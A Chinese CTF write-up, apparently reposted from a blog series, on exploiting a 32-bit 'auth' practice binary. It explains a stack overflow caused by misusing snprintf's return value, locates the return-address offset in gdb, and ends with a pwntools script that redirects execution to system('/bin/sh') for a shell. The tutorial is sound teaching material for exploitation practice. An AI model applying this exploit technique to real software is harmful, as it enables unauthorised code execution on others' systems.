web选手入门pwn(8)
2022-10-17 16:59:3 Author: 珂技知识分享(查看原文) 阅读量:7 收藏

1.    auth

栈不可执行,再看反编译源码。

看起来是个登录框,那个md5就是root123456,似乎打算让你输入root账户123456的密码就登录成功。

但显然这不是正确答案。仔细思考一下,这样设计会有点问题,我输入root1/23456也可以登录成功。

这说明有个字符串合并函数,正是__strcat()。

栈溢出点在snprintf(),这个函数是为了安全性代替sprintf(),它多了一个size参数(int32-v6),使得打印的字符串长度受限。
这里的代码为了将v5(账户)和v6(密码)先后放在s地址合并(最大长度32),先将v5放进s,size为32-0=32,获取len为snprintf()返回的长度。再将v6放进s,size为32-len。
假如v5长度为4(root),那么等于执行了两次snprintf为。

len = snprintf(s, 32, "%s", v5);//len=4snprintf(s+len, 32-len, "%s", v6);

在gdb中给snprintf下断可以很清楚的看明白。
gdb auth
disass __strcat
b* 0x08048eda
r
AAAA
BBBB
c

这样看起来没问题,但snprintf的返回值并不是实际打印的字符个数,而是未经过size限制的个数,也就是说len就等于v5字符串的长度,如果v5长度超过32, 32-len就变成了负数,也就是很大的一个数字,同时第一个参数s+len也可以变成高位栈上的任意地址。比如我们输入32A+BBBB/CCCC,会破坏掉一个栈,在代码执行到最后的lea esp, [ecx-4]时发生错误。

gdb中具体的错误如下。

第二次snprintf如下。

可以看到maxlen明显负数溢出成一个很大的正数了,s地址也可以自己控制,那么我们需要将CCCC赋值到一个栈上的返回地址,它必须比0xffffd1d0更高。
stack 200

最近的有两个地址,先试试36+0xffffd1dc-0xffffd1d0=48并未引发崩溃。
再试试36+0xffffd1ec-0xffffd1d0=64

成功引发崩溃,而且EIP为CCCC,这题又提供了system和/bin/sh的后门地址。构造payload如下。

#!/usr/bin/env pythonfrom pwn import *
#context.log_level = 'debug'
#sh = gdb.debug("./auth")sh = process("./auth")
elf = ELF("./auth")system_addr = elf.plt["system"]binsh_addr = elf.search('/bin/sh').next()
print(sh.recvline())sh.sendline("A"*64)print(sh.recv())sh.sendline(p32(system_addr)+"CCCC"+p32(binsh_addr))sh.interactive()

这题特殊的地方在于,并不像其他栈溢出题一样,输入一个足够长的字符串就能引发程序崩溃,相反,过大的字符串只会覆盖到不重要的栈上反而能让代码执行成功。

https://github.com/kezibei/pwn_study/blob/main/auth


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485719&idx=1&sn=591ed3991a664480162173d5d3acf85a&chksm=fa973478cde0bd6e6e42dd88c16f8a1b9ccde6102a1c58a97ef51296e8ded96a70939d8430c8#rd
如有侵权请联系:admin#unsafe.sh